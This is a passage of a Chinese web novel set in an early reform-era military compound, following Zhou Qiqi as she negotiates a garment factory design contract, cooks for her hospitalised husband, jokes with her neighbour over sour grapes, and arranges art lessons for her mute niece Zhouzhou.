周柒柒端着茶杯,指尖摩挲着杯沿,逐行细看合同。 合同的内容,和之前两人说的差不多,周柒柒以厂里技术指导的身份,设计改造库存的衣服,没有薪酬,衣服如果卖出去盈利了,分给她一成五的利润。 相反,如果卖不动,则周柒柒要赔三成的库存成本。 看着周柒柒已经看到了最后一页,张国强捏着合同的手微微发颤,问道。 “周同志,您仔细瞧瞧,没问题的话,咱现在就签。” “大致倒是没什么问题。” 周柒柒轻笑,指尖敲了敲合同,忽然抬眸,眼神清亮。 “但是我现在不能签。” 第95章 敲定合约 “啊?不...不能签?” 张国强握着钢笔的手猛地一抖,脸色一白了,颤抖着问道。 他身为G市第一服装厂的副厂长,厂长常年请假不在,整个厂子的担子都压在他肩头。 厂里上上下下七、八百号人,乃至这七八百号人背后的家庭,都指望着他讨生活。 为了让厂子起死回生,这一年多来他费了不少心力,却都收效甚微。 如今,厂子差不多到了最艰难的境地。 每个月亏损惨重,上头的轻工业局隔三岔五就叫他去谈话。 他好不容易在周柒柒这儿寻到希望,几乎是拿出了十足的诚意。 合同的大致内容虽说按双方约定来,但在其他细枝末节上,张国强基本把主动权交到了周柒柒手里,不做任何束缚。 就连利润,也是在轻工业局领导的强烈反对下,从一成五让利到了一成六。 他实在是太想救下这个厂子了。 可是,没想到,他已经拿出这么大的诚意了,周柒柒居然还说不能签,他实在是有些难以承受,眼眶都红了。 周柒柒没想到他会这么大的反应,赶忙赔着笑解释。 “哎,张厂长,您别误会,我是说这会儿不能签,不是不想签。” 张国强赶忙抹了把脸上的汗,急忙又问,“那您的意思是……?” 周柒柒说着。 “这是大事儿,我得把合同拿回去给我老公瞅瞅,让他心里也有个数。” 这是她和沈淮川约定好的,毕竟合同一旦签下去,就有法律效益了,各个条文都得看仔细了,不能直接签。 “我还当什么事儿呢,这是应该的,应该的。” 听到是这个原因,张国强松了口气,赶紧拍了拍胸口,刚才他差点就想吃速效救心丸了,这会儿脸上又挂上了笑脸。 “既然结婚了,这种大事确实是应该和另一半有商有量的,是我考虑不周了,要是我媳妇还在,我肯定也要这么做的。” 周柒柒抬起了头,“啊...张大哥,你还这么年轻,你媳妇怎么就...” 说起亡妻,张国强眼眶瞬间又红了。 “她身子骨不好,八年前得了肿瘤,没治好。” 周柒柒赶忙赔礼,“对不住,是我嘴笨,不该提这些。” 张国强摆了摆手。 “别别别,这是我自己说的,咋能怪你呢,咱还是接着说合同的事儿吧,还有啥要改的地儿不?” 周柒柒微微一笑。 “还真有,一个小细节,我感觉需要改动一下。” “好,您说。” 听周柒柒说是小细节,张国强身子往后一靠,坐在椅子上认真听着,可听着听着,却赶忙拿起手头的笔和本子记了起来。 等到周柒柒说完,他脸上露出一丝苦笑,缓缓合上本子。 “这哪儿是小细节啊,分明是个大改动,看来,周同志对我还是不放心啊。” 周柒柒眼神清亮,轻笑一声。 “哎,张厂长,你这话就说错了,我不是对你不放心,是真的没有时间,比起生意,还是家里人的健康更重要,你说呢?” 周柒柒说的“小细节”,是想把合同的大框架改了,改成阶段性合同。 把库里的十几款库存,分成三个阶段,一个阶段一个阶段地完成,第一阶段完成后,双方再签订下一个阶段的合同。 眼下沈淮川受伤住院,她实在是分不出那么多精力,没办法一次性交付那么多设计图。 她这话在理,张国强也十分体谅,缓缓合上笔记本,笑着说。 “是是是,没毛病,一切按照您说的来,那合同...我重新拟一份,明天给您送过去?” 周柒柒摇了摇头。 “不了,还是我再跑一趟吧。” 咋说也是商业合作,叫人家去医院,难免要破费,不太合适,再说了,还怕暴露自己军嫂的身份。 两人又闲聊了几句,周柒柒就打算走了。 中午剩下的牛腱子还有两大块,她准备卤成酱牛肉,再不走不赶趟了。 她临走前,张国强特意到自己办公桌底下拎出一个大蛇皮袋,“这些您拿着。” “使不得使不得,这我可不能收。”周柒柒摆了摆手。 张副厂长的经济状况她清楚,每个月工资都是拿最低档的,还得养活两孩子,她可不能要人家的礼。 再说了,这是商业合作,收礼就变了味儿了,被人知道要出大事的。 张国强摆了摆手,拉开蛇皮袋的拉链。 “嗨,不是啥金贵物件,是我从轻工业局那边白拿的一些布料,打沿海过来的,外头买不着。” 周柒柒凑过去一瞧,就见蛇皮袋里满满当当都是布料,五颜六色的,有尼龙、腈纶,还有些素绉缎、乔其纱啥的,都是她在布料市场见不着的。 不过都不成匹,大多就几米,有的就一小块,估摸是给各个厂子拿去研究的。 这周柒柒就不客气了,她身为服装设计师,最喜欢的就是布料,根本拒绝不了,赶忙跟张副厂长道谢。 两人说话间,周柒柒还瞅见张副厂长办公桌上有他和老婆的合照,底下还塞着俩孩子的大头照。 照片看着年头久了,不过保存得还很好。 都过去八年了,张副厂长又当爹又当妈养活俩孩子,一直没再娶,着实难能可贵。 不像有些男人,老婆孩子在天堂,想想都叫人不寒而栗。 周柒柒对张副厂长的印象不由得又好了几分。 出了办公室门,张副厂长说要送送周柒柒,周柒柒赶忙摆手拒绝。 沈淮川给秦磊下的命令是护送她来回,这会儿秦磊保准还在路口候着呢。 回到医院,周柒柒让秦磊把合同拿给沈淮川看,自己则去厨房卤牛腱子。 中午做的那块是前腱子,肉多筋少,炖完之后软烂入味,配着西红柿炖了正好。 剩下的两块则是后腱子,筋多肉少,更适合做酱牛肉。 早上做饭的时候,周柒柒就把那两块后腱子泡在冷水里了,中间换了好几次血水,就省了之后焯水的步骤了。 小火慢卤了仨小时,牛腱子总算出锅了。 中间周柒柒还擀了点面条,下午就浇原汤的卤子,吃牛肉面。 这个年代还不怎么区分生抽老抽,都是统一叫酱油,拿着壶自己去打。 酱油颜色没那么重,卤出来的牛腱子颜色没那么鲜亮。 但好在肉好,又是慢火久炖的,筋络早已炖成半透明的琥珀色,一口下去软糯弹牙,别提多美了。 牛肉顶饱,他们三个人敞开了肚皮吃,也只吃了一块,还剩下一块。 周柒柒切片分了一大一小两饭盒,给朱莹莹和邓翠香两家带回去。 第96章 羞羞羞!把脸抠! 秦磊开着军区的吉普车送她回去,到家的时候快六点了。 朱莹莹刚从军区食堂打了饭菜回来,正好给她添一道。 这几天她终于正经吃饭了,加上每天吃大夫给开的药,气色一下子就红润了许多。 想起她之前那幅“闹饥荒”的样儿,周柒柒就一肚子气,指尖轻轻点了点她的脑门。 “莹莹啊,你可长点心吧,咱们都是上过大学的人,咋能信‘拴娃娃’那种封建迷信呢?” 朱莹莹羞红了脸,头垂得低低的,喃喃道。 “我知道错了,那个时候我也不知道怎么了,就是一门心思地往里钻...” 现在一想,感觉自己都傻透了,头几乎要埋进衣襟里。 周柒柒看了,心里不由感慨。 她上辈子没少看这类新闻——多少高学历、见过世面的人,偏偏栽在简单骗术里。 就像老年人省吃俭用买保健品,或是中年妇女对着手机里假冒的“靳东”掏心掏肺。 有些事与其说是骗,不如说是人心被执念蒙了眼。 朱莹莹结婚三年多了,都还没孩子,想要孩子想得晚上都睡不着觉,可不就着了歪门邪道的道? 这个时候就需要有人能拉你一把,才能清醒得了。 周柒柒嘴上说教,手却轻轻拍了拍朱莹莹的肩膀。 “你还年轻呢,放宽心,听大夫的话好好调养,迟早会有孩子的。” 两人又说了几句家常,周柒柒嘱咐了一句等复诊的时候喊着她一起,就赶紧去邓翠香家了。 夕阳西下,把巷口染成暖金色,远远便望见十几个小男孩围成圈,通通趴在地上。 十几个小屁股撅得老高,随着动作一扭一扭的,瞬间吸引了周柒柒的目光。 这当中,就数最中央的姜向阳屁股撅得最高。 小男孩神情专注,手腕起落间“啪嗒啪嗒”弹着玻璃珠,一个个击打到了自己的坑里。 他那小土坑里,红的、绿的、透明带金粉的,啥颜色的弹珠都有,都快堆满了。 最后一下弹完,他随意抹了抹汗,阳光穿过他汗湿的发梢,在坑洼里落了串五彩光斑。 抹完汗,透明的弹珠就带着外头几个剩余的弹珠,全都一齐滚进了他的土坑里。 “我赢啦~” 他撩起洗得发白的蓝布褂下摆当口袋,把坑里的弹珠一股脑全都划拉进去,小脸上沾满了土灰,眼睛却亮得像落了星星。 一个小男孩抽了抽鼻子,指尖蹭掉鼻尖的鼻涕泡,指尖在裤腿上抹出道灰印子。 “向阳,你咋突然这么厉害?把我们的弹珠全赢走了!” 另一个穿着海魂衫的男孩皱着眉直嘟囔。 “就是!以前输光了还扒我裤兜抢,现在咋跟变了个人似的?” 姜向阳把褂子里的弹珠倒进牛仔裤口袋,周柒柒给他做的那条裤子正合适,前前后后四个大口袋都鼓囊囊的,走起路来“哗啦哗啦”响。 他仰着小脸,耳尖红得像熟透的小番茄,偏要做出副满不在乎的模样,手背蹭了蹭鼻尖。 “嘻嘻~不告诉你们~” 话没说完,他便迈着长腿往外走,“不玩了不玩了,我妈喊我吃饭呢!” 小男孩们顿时炸了锅,七嘴八舌地嚷着要再来一局。 有个孩子急得直拍膝盖,“我妈刚给我买的一盒新珠子全都被你赢走了!” 另一个拽住他衣角不放,“我那颗带金丝的也还在你那儿呢!” 姜向阳头摇得像拨浪鼓,灵活得像条小泥鳅,从人缝里钻出去,跑的时候口袋里的弹珠撞得叮当响。 “真不来了!我还得帮舟舟摆碗筷呢!” 身后传来此起彼伏的起哄声。 “羞不羞啊,舟舟、舟舟的,成天和女娃娃混在一起!” “羞羞羞!把脸抠!” ...... 周柒柒看得哑然失笑,想再听他们怎么笑话向阳。 却没成想,再一转眼,那帮小男孩又扎堆蹲下,圆头圆脑的身影重新聚成一圈。 这时候,廖小雷、廖小锋兄弟俩过来了,攥着弹珠往圈里挤。 方才那个流鼻涕的孩子一见他们,立刻把珠子往裤兜一塞,吸溜着鼻子说“我也回家吃饭了”,蹬着露脚趾的布鞋跑了。 其他孩子见状,也三三两两散去,最后只剩下四岁的邱耀祖。 他年纪小,邱春芳怕他误吞弹珠,从来不给买,此刻只能蹲在边上干眼馋。 廖家兄弟俩攥着弹珠站在原地,你看看我,我看看你,瘦小的背影透着股无措的落寞。 周柒柒看着他们耷拉的脑袋,心中不由得一软,感觉这俩小孩有点可怜。 到了邓翠香家,向阳正在院子里和舟舟炫耀自己赢的珠子呢,顺便教舟舟怎么玩。 舟舟好像不怎么会玩,姿势是对的,角度也是对的,可就是软绵绵的没力气,向阳帮她弹出去,又拿出自己赢的那一大堆的弹珠,让她随便挑。 两个孩子看到周柒柒回来了,都赶紧站起来。 周柒柒看着两个孩子正玩得开心呢,摆了摆手让他们接着玩。 邓翠香听见动静,探了脑袋出来,“柒柒,回来啦~我刚炒好菜,真准备舀玉米粥呢!” 她今儿做了点粉蒸肉,择了点四季豆干煸,另外还有莴笋丝,红烧冬瓜什么的。 周柒柒之前看过她家的菜,基本都是红亮红亮的,这会儿加了个舟舟在家,都紧着舟舟的口味,全是清淡的菜,菜的样数也加了两样。 她都看在眼里呢,把铝饭盒打开递了过去,笑道,“正好加道菜。” 邓翠香一看是酱牛肉,眼睛都亮了。 “你对你家男人是真上心,天天变着花样地做,牛腱子都卤上了。” “没有没有。” 周柒柒一听就知道,这翠香姐怕是又要调笑她了。 赶忙摆了摆手,熟门熟路地从她家碗橱里拿了盘子出来,帮着给酱牛肉摆盘。 顺便转移话题,把刚才看到的那一幕说了出来。 邓翠香正在舀着玉米粥的动作顿了一下,撇了撇嘴。 “又不是我不让孩子们和小雷、小锋一起玩的,是李红娟交代了两个孩子,不许他们再跟向阳一起玩。” 向阳是这院子里的孩子王,最调皮,鬼点子也多,不是爬树就是掏鸟,孩子们都爱找他一起玩。 不和向阳玩,差不多就等于失去了所有的玩伴。 周柒柒无奈地摇了摇头。 “这李红娟也真是的,大人之间的恩怨,牵扯到孩子身上干什么...” 邓翠香也点头附和道。 “可不是嘛,咱们两家的孩子受了委屈都没说啥,她倒先教孩子孤立别人......你说这俩孩子,以后在院子里可咋过?” 第97章 七步洗手法 两人又感叹了几句,姜营长回来了,和周柒柒打了个招呼,抬手抹了把汗,就回屋换衣裳去了。 邓翠香招呼着大家吃饭,周柒柒帮着喊舟舟和向阳洗手洗脸。 “来了,来了!” 最先应答的是向阳,但只闻其声,不见其人,倒是舟舟先跑过来了。 周柒柒看着小女孩玩的头发都乱了,伸手帮她把凌乱的发丝挽到耳朵后面,顺便帮她挽起袖子,柔声叮嘱道。 “脸也洗洗,都沾上灰了~” 舟舟仰起小脸,乖乖点头,用周柒柒教过的七步洗手法,打了香皂,从手指到指缝仔仔细细地洗。 小女孩文静乖巧,小脸莹白如玉,周柒柒瞧着,心底泛起柔软的暖意。 这时,向阳像阵风似的窜过来,凑到舟舟身旁,双手往背后一背,伸到舟舟的小手下方,借她掌心残留的水流冲了一秒,转身就要跑。 周柒柒连忙揪住他的后衣领,轻轻咋舌。 “别跑!哪有你这样洗手的?手心都没湿吧?张开手让我瞧瞧。” 她上下打量向阳沾满尘土的衣裤。 “再说你这一身土,脸脏得跟小花猫似的,必须洗干净才能吃饭,难不成要把土带到饭桌上?” 向阳被当场抓包,耳尖瞬间泛红,磨磨蹭蹭不肯伸手。 “算了算了,周阿姨不看了。” 周柒柒看他耳尖尖都红了,也不逗他,轻轻将他推到舟舟面前。 “舟舟,你教他洗手。向阳,你跟着舟舟学。” 舟舟一向是最听话的,当场就打了香皂,先做了第一步,掌心相对,搓了五次,然后不声不响地看向向阳。 要是换做平时,向阳早就跑没了,但这会儿被舟舟亮晶晶的大眼睛盯着,脚粘在地上走不动了,只得也打了些香皂,有样学样地动起手来。 然后是第二步,第三步... 正洗着,邓翠香端着最后一盘红烧冬瓜出来,瞥见自家儿子干干净净的小脸,忍不住惊叹。 “哟,今儿太阳打西边出来了?向阳竟然乖乖洗手洗脸了?” 要知道,向阳可是皮得没边儿了,手也从来都不好好洗,她每次都要拿出扫帚打屁股,他才肯去洗。 而且就算洗了,也是随便冲两下应付差事,很少有这么认真的时候。 她将红烧冬瓜搁在院子里的石桌上,特意凑过来夸赞。 “我儿子这脸洗干净是真俊!值得表扬!” 姜营长这时候也换了一身常服出来了,看到着镜像,也难得跟着夸了夸。 “确实,有我小时候那股子俊气了,当年我可是俊得满村小姑娘追着跑。” 他边说边在下巴处比了个“八”的手势,一副得意洋洋的模样。 邓翠香闻言,眉头皱得紧了,活像地铁里的老人看手机般神情。 她指尖沾了点水,弹向姜营长的脸。 “又开始吹了?当初追我时,是谁装可怜说从小到大没姑娘喜欢?” “那是战略说谎。” 姜营长还想嘴硬。 “好啊你,竟敢说谎?” 邓翠香不再弹水,直接捧起一掌水往他身上泼去。 两人一个追着泼,一个笑着躲,三十多岁的人了,打闹起来还跟小孩一样。 周柒柒看得忍俊不禁,再转头一看,身旁的姜向阳竟也有样学样,攥着沾了香皂泡的手,往舟舟脸上弹。 舟舟本是一脸平静,冷不丁被弹了一下,霎时懵了,眨巴着大眼睛,好半晌没反应过来。 见向阳玩得不亦乐乎,舟舟却不还手,周柒柒不禁替自家小姑娘着急,从舟舟掌心刮了点香皂沫,往向阳脸上弹去。 可这小皮猴儿灵活得很,周柒柒连弹三四下,竟都落了空。 正当周柒柒有些挫败时,舟舟忽然抬手,蜷起白白嫩嫩的小手指,冷不丁往向阳脸上一弹,一大团香皂沫不偏不倚地粘在了他的鼻尖上,格外显眼。 向阳这显眼包,眼睛巴巴地往下瞧着鼻尖的泡沫,瘪着嘴往上吹,那滑稽的模样,活像只搞怪的小猴子。 “哈哈哈....” 周柒柒被逗得捂嘴直笑,身旁的舟舟也轻轻勾起了唇角。 周柒柒敏锐地捕捉到这抹笑意,却没出声,只是伸出手臂,轻轻将舟舟揽到身侧,捏了捏她的小脸蛋。 “好了好了,别闹了,洗净手吃饭,当心把香皂沫溅到饭菜里。” 这时,邓翠香“收拾”完老公回来了,扬声招呼一声,又冲向阳努了努下巴。 “向阳,洗干净了就去屋里叫你哥吃饭。” 周柒柒揉了揉向阳的头发。 “我去叫吧,你好好把脸洗干净。” 说着,便熟门熟路地往向海的房间走去。 邓翠香家的格局与周柒柒家相仿,原本是两间卧室,大人住大间,两个孩子住小间。 两年前搬到军属区后,为了不打扰向海学习,姜营长将夫妻俩的大卧室让给两个孩子住,砌墙隔成了一大一小两间。 向海需要书桌和书柜,便将大些的那间给他,门板也是新置的,看着结实。 而向阳的房间用的是从回收站拉来的破门板,底下还被他踢了个大洞。 两间屋子一左一右,看着差距颇大。 许是先入为主,周柒柒瞧着竟有些心疼向阳,抬手轻轻敲了敲门。 向海很快应了声,过来开门,礼貌地笑了笑。 “周阿姨,稍等一下,我做完这道题就来。” “好。” 周柒柒点点头,目光随意扫过屋内。 只见向海的屋子收拾得整整齐齐,书柜上摆满了各类书籍,书桌上摊开的,竟是初二的数学题。 这孩子不是才上四年级吗?竟已在做初二的题了? 再看书柜里,大多是数学和物理相关的书籍,最多的是《少年科学》,还有一些苏联版本的数学习题集。 从前邓翠香说这孩子学习好,将来有出息,周柒柒还以为是家长夸大,如今亲眼所见,才信了这话。 也难怪夫妻俩对这孩子多有偏爱。 懂礼貌、学习好、有出息,之前还曾经拾金不昧,哪个家长不喜欢这样的孩子? 这般想着,周柒柒先前对向海那点淡淡的不满已然消散,对夫妻俩“偏心”的举动,也多了几分理解。 其实作为孩子,向海没做错什么,她也不该有偏见的。 吃饭的间隙,周柒柒就顺口问了问,有没有给向海报个奥数班什么的。 孩子既然有天赋,可千万不能浪费了。 第98章 葡萄成熟时 “什么是奥数班?” 听周柒柒这么问,邓翠香手中的筷子顿了顿,抬眼望她,显然有些困惑。 周柒柒愣了一下,很快反应过来,她小时候经常听人说奥数班、奥数班的,下意识就以为每个家长都知道了。 转念一想,华国科学教育启蒙本就晚,改革开放后百姓才刚吃饱饭,国际数学奥林匹克之类的事儿还没影儿呢,这会儿哪儿来的“奥数”概念? 周柒柒赶忙解释道。 “那啥,我嘴瓢了,我是想说数学竞赛班,以后能参加数学比赛的那种。” 邓翠香给向海夹了一大块粉蒸肉,抿了抿嘴说道。 “这事儿向海的数学老师早前提过一嘴,我专门打G市少年宫的电话问了一下,说是要中学生才能参加,向海现在才四年级,不到年龄。” 周柒柒提议道。 “我觉得,你可以带孩子亲自过去试一试,光问可不顶事儿,向海的本事,说不定比普通初中生还厉害呢。” “行,明天不就是周六了,明天我就带着孩子过去一趟。” 邓翠香对向海学习上的事向来上心,话音未落就已经打定了主意,回过头又问柒柒。 “对了,你上次不是说也要让舟舟学画画吗?少年宫也有绘画班呢,要不咱们一起去问问?” 周柒柒轻轻摇头。 “不了,这事儿我已经托给费老师了。” 她目光掠过坐在身旁的舟舟,眼底掠过一丝心疼。 少年宫那种地方,孩子多,基本上全都是不认识的,不太适合现在的舟舟。 费老师也爱画画,认识不少这方面的人,周柒柒找她问过,让她帮忙给舟舟找个合适的老师,最好是女老师,一对一教舟舟画画。 多掏点钱都行,反正她叔叔有钱。 “确实,虽然我是粗人,不懂画画什么的,可舟舟画里的情绪,我也是真真儿能感受到的,这孩子,是块学画的料子。” 邓翠香柔声说着,夹了几片牛腱子肉,轻轻放进舟舟碗里。 饭后,姜营长系着围裙去洗碗。 周柒柒刚要带舟舟回家,邓翠香送她们到门口,冷不防向阳从门后窜了出来。 他背着手,眼睛亮晶晶地望向舟舟,忽然摊开掌心。 “周阿姨给我们送牛肉吃,我也给舟舟送葡萄。” 一颗紫巍巍的小葡萄躺在他掌心里,果皮上还凝着些细密的水珠。 “呀,葡萄藤上的果子熟了?我昨儿浇水时瞅着还青着呢!” 邓翠香立马就反应过来了,邓翠香快步走到院子右侧的葡萄架下,踮着脚细细查看。 “咦,没有啊...” 她拨弄着几串青葡萄,指尖拂过鲜嫩的藤蔓,眉间满是疑惑。 向阳挤到她身边,仰头指着葡萄架顶端,“在那儿呢!” “你小子,又爬我葡萄架了?” 邓翠香作势要拍他脑袋,到底只是虚晃一下。 她搬来木凳,踩上去,在向阳指的位置找到一小串已经成熟的葡萄。 邓翠香叉着腰,挑眉瞪向儿子,语气里带着几分嗔怪。 “种了两年,好不容易结了果。你娘我还没尝上一口,你倒好,摘了最红的一颗来献宝。你这小子,该说你什么好?” 她的语气不善,板着脸,模样看着也是真有点生气了,周柒柒心里“咯噔”一下,正准备劝呢,却见她眼珠子骨碌碌转向周柒柒,眼尾微弯。 “不过...” “做得倒也没错,我把第二红的这个也送给你,柒柒,你们一家先尝尝...” 说着,她指尖轻轻捏住一颗葡萄,放进周柒柒掌心,周柒柒嗔怪道。 “翠香姐,你可吓死我了,我方才看你那样,真当你生气了呢!” 邓翠香抿着嘴笑,轻轻推了推她的胳膊。 “傻丫头,我哪能生你的气啊?快尝尝,还有舟舟,你俩一道尝!” 新鲜的葡萄,果柄嫩绿嫩绿的,表面带着一层均匀的白霜,凑近了能闻到一缕若有若无的果香。 周柒柒与舟舟对视一眼,各自用指尖蹭了蹭果皮,将葡萄放进嘴里。 原以为是甜津津的滋味,谁知咬破果肉的刹那,一股酸涩猛地窜上舌尖。 “嘶...好酸!” 两人忙不迭吐出来。 周柒柒拧着眉直吸气,舟舟更是伸出粉嫩的小舌头,不住呵气,像只被鱼刺扎了嘴的小猫似的。 “哈哈哈哈!上当了吧?” 邓翠香看两人这个样子,终于憋不住笑,从口袋里摸出两颗水果糖。 “快快,一人一颗,甜甜嘴!” 她院子里扦插的葡萄,是晚熟的龙眼葡萄,前两年属于幼龄期,枝枝蔓蔓都还在发育,留给果实的养分不多,一般是不结果的。 一般要等到第三、四年,整体发育成熟了,才能结出果子。 邓翠香这葡萄藤料理得好,施肥勤快,第二年就结出果子了,但是果子肯定是酸得很,不能吃的。 “之前我已经摘过一批果子,全部拿去堆肥了,前两天给菜园施肥,用的就是葡萄果子堆的肥,剩下的这批,回头也得全都摘了堆肥。” 周柒柒听她这么说着,嘴里吸溜着水果糖,眼珠子也咕噜噜转了转,抓住舟舟的胳膊,瞥了瞥嘴,囫囵说道。 “好啊你,你们娘俩,这是变着法儿的坑我们呢?舟舟,走,咱们不和她们玩了!” 她双颊鼓鼓的,邓翠香赶忙去拽,向阳也赶忙伸出双臂去拦着舟舟的去路。 “别啊别啊,我逗你们的!真生气啦?” 周柒柒鼓着腮帮子装委屈。 “是啊,生气啦,除非你答应我一个要求,要不然我就再也不来了!” 邓翠香看着她这副娇憨的撒娇样儿,心都跟着化了,笑着点头。 “答应!答应!别说一个了,就是十个,百个,我都答应!说吧,什么要求?” 周柒柒瞅着她那豪爽劲儿,自己先绷不住笑了。 “我就想要几串葡萄,瞧你这架势,跟我要你半幅家业似的!” 邓翠香拉着她的手,把她往屋子里拽。 “哈哈哈,给给给,藤上的那些葡萄,全都给你~!” 那些葡萄放着也是以后堆肥用的,邓翠香见周柒柒想要,一口气把所有的葡萄全都摘下来了,放了满满一个布袋子,有点重。 她和周柒柒一人拎着一个角,帮着给送回去,隔着老远就看到一个人在周柒柒家门口站着呢。 邓翠香眼睛一亮,用手肘轻轻撞了撞周柒柒。 “这人啊,就是禁不住念叨,柒柒,你瞧,那是谁!” 第99章 美术老师的人选 周柒柒本来正低头寻思着这么多葡萄怎么做呢,胳膊被邓翠香撞了一下才抬头,睫毛忽闪间,眼睛也亮了。 她将袋子角往邓翠香手里一递,又叮嘱她照看着舟舟,自己忙不迭迎上前去。 “费老师,你怎么不提前说一声就来了,等久了吧?” 费老师习惯性推了推眼镜,忙不迭摆手。 “没呢没呢,我就住在学校后头的家属楼,刚吃完饭遛弯儿过来,才到没多久。” 周柒柒赶紧从兜里掏了钥匙开门,把费老师迎进去坐下,正准备回去接邓翠香和舟舟,一眨眼,邓翠香已经帮忙把葡萄拎到院子里。 看她额头有汗,周柒柒招呼了一声,“进来擦把脸,喝口水。” 邓翠香直摇手。 “不了不了,你赶紧招呼费老师吧,客人要紧,我这就回去了!” 周柒柒也不客套,冲她笑了笑,便返身去给费老师沏茶,顺手削了个苹果,切成小块儿,一并端了过去。 费老师忙不迭起身接茶盘,指尖在杯沿上蹭了蹭,目光却忍不住在屋里打转。 她的手轻轻抚过沙发上的米白色布套,指腹摩挲着上面细密的针脚。 “你这屋里头布置得真雅致,这沙发布料、桌布花样,我在百货大楼都没见过呢,是在哪儿买的啊?” 周柒柒唇角微扬,“这些都是我自己做的。” 费老师眼底闪过一丝失望,但也没多说什么,赶紧开始说正事。 之前周柒柒托她给舟舟找个美术老师,她这会儿联系到了两个,都是她之前下乡认识的搞美术的,人品和功底都是信得过的。 一个是G市少年宫教美术的季老师,省美术学院科班出身,平日里就有一对一的私教课,授课地点在城南。 另一个吴老师更是了得,一家子都是搞美术的,父亲曾是中央美院的教授,她自己也是中央美院毕业,在G市美术家协会任职,平时也收学生,画得好的便单独指点,地点在城北。 介绍完,费老师总结道。 “我瞧着,舟舟还是去季老师那儿学画合适。” 周柒柒有点懵,一边给费老师递了块苹果,一边问道。 “啊,为什么?不是吴老师那儿比较近吗?而且吴老师听起来更厉害一点。” 费老师接过苹果,轻轻咬了一口,解释道。 “可不是么,不单是你,多数家长都这么想,所以吴老师那边名额争得厉害,要去学,都得先过考试这一关。” 说着,她瞥了眼正乖乖在屋里画画的舟舟,声线放低。 “考的是静物写生和人物速写,舟舟没什么基础,估计很难通过。” “相较之下,季老师那儿没那么多讲究,虽说报名时间过了,但我和她是老交情,说上一声便成,舟舟在季老师那儿学个一两年,往后再去吴老师那儿考试也不迟。” 周柒柒听得出来,费老师这话句句都是为舟舟着想。 可依着她的性子,凡事要么不做,要做便要做到最好,学美术亦是如此。 既然有更好的老师,总归要去试上一试,即便不成,也算攒了经验,往后努力也有个方向。 之前小黑屋那事儿,费老师就觉得周柒柒性格爽利,挺喜欢她的,这会儿听她这么一说,更是豁然开朗,眼睛都亮了。 “舟舟婶,你这想法也在理,那我就帮你先联系一下宫老师?” 周柒柒摇摇头。 “先不忙,这只是我自个儿的主意,具体怎么决定,还得问问舟舟自个儿,还有她叔叔的意见。” 毕竟沈淮川才是舟舟心里最亲近的人,也是她正儿八经有血缘关系的家属。 费老师看着周柒柒的目光更柔和了。 “成,你定下来后给学校电话室打个电话,我尽快帮你联络。要是错过这周末,又得等上一个礼拜了。” 寒暄几句,费老师就准备回家了,送她到门口,周柒柒又想起什么,赶紧追上去说道。 “哦,对了,我家里那些桌布样式,费老师要是喜欢的话,可以选点自己喜欢的花样,我可以帮你定制一套。” “真的?那太好了!我过几个月结婚,一直挑不到满意的,正发愁着呢!舟舟婶,你可是帮了我大忙了!” 费老师喜出望外,周柒柒也笑了。 “别舟舟婶,舟舟婶的叫了,把我都叫老了,叫我柒柒吧。” 费老师轻拍她的手。 “行,柒柒,我比你大点,你叫我雪梅姐就成。” 送走费雪梅,周柒柒径直去了舟舟的屋子。 小姑娘虽说一直在画画,可耳朵却竖得老高,显然对学画一事格外上心。 周柒柒直接跟她说了自己的想法,问她愿不愿意去试一试。 小姑娘虽不大懂其中弯弯绕绕,只听得吴老师是位厉害的老师,便懵懂地点了点头。 “行,那我一会儿就去给费老师打电话,咱们明天去宫老师那一趟,然后后天周日再去季老师那儿,都转一圈,就这么安排。” 周柒柒说着就要走,小姑娘有点急了,拽住她的袖子直摇头,又把桌上她刚画的画递过来。 这画周柒柒早就看到了,画的是医院,小姑娘这是想去看自己的叔叔了。 但是她却佯装不懂,弯下膝盖,歪着头轻声问道。 “这画的是什么呀?婶婶没看懂呢。” 小姑娘急得不行,张了张嘴想说话,却半个字也吐不出,急得额角都冒出了细汗。 舟舟不能说话,纯粹是心病,她受了刺激,封闭了自己的内心。 之前周柒柒让她用画画来表达自己的想法,算是小有成效。 舟舟现在每天都会画画,画的画都塞满一个抽屉了,再加上和同龄人一起玩,小脸上已经有了表情,现在是时候到下一步了。 周柒柒掏出手帕轻轻拭去她额角的汗,将她碎发别到耳后,指腹在她手背轻轻摩挲。 “不着急,慢慢来。你不用说出声儿,用嘴型比画就行,婶婶看得懂。” “你就告诉婶婶,想去医院看谁?” 她语气温和,眸中满是信任与疼惜。 舟舟原本惴惴不安的身子渐渐安定下来,望着周柒柒的眼眸,缓缓张开了嘴。 第100章 吃着了葡萄说葡萄酸 叔...叔 她抿着唇瓣不出声响,但是小嘴巴嘟得都能挂酱油瓶子了,明显是“叔叔”的口型。 夕阳的余晖漫过窗台,在小姑娘睫毛上镀了层金边。 周柒柒望着眼前的小人儿,心底漫过一丝柔软,指尖轻轻刮过她粉嘟嘟的唇瓣,声线放得极柔。 “你在说叔叔对不对,想去医院看叔叔了?” 舟舟用力点头,小脸蛋红彤彤的。 周柒柒捏了捏她的脸颊,憋着笑逗她。 “本来就打算带你去的啊,明天一早就去。” 舟舟再是小孩子,也明白周柒柒这是逗着她玩呢,咬着粉嘟嘟的小嘴巴,有点想生气又舍不得生气的样子。 周柒柒瞧着她忽而委屈忽而纠结的小模样,既欣慰,又怕她真恼了,连忙将人拉到身边,凑近她耳边,叽里咕噜说了一串话。 听她说着,小姑娘本来有点小委屈的大眼睛一下子就亮了起来。 “我还以为是灯没关呢,原来是我们舟舟的大眼睛!这么亮!这么好看!像小仙女一样!” 第二天一大早,秦磊看到舟舟出现在病房门口,立刻半蹲下来,粗糙的手掌揉了揉她的小脑袋夸赞道。 小姑娘怕生,红着脸往周柒柒身后躲,只露出半张小脸。 周柒柒握住她的手,笑着打趣。 “秦石头,我还以为你就夸嫂子我像小仙女呢,原来你夸谁都是一套词儿啊!” 秦磊黝黑的脸泛起尴尬的红,挠了挠后脑勺,“也不是都一样...” “什么?” 他一向是个大嗓门,这句话声音却很小,周柒柒没听清,又问了一遍,秦磊没说话,只退到一边去了。 还是病床上的沈淮川放下了手中的报纸,撇了一眼秦磊,出声问道。 “怎么今天来得这么早?” 周柒柒牵着舟舟走近,将人往前轻轻一推。 “是舟舟,她一大早就起来了,有礼物要送给你呢!” 舟舟红着脸摊开掌心,一颗淡紫色的葡萄躺在细嫩的掌心里,周柒柒在旁笑着解释。 “这是邓嫂子家葡萄藤结出的葡萄,可新鲜了可甜了,我和舟舟昨天才采的,不舍得吃,特意留给你的!你快尝尝~!” 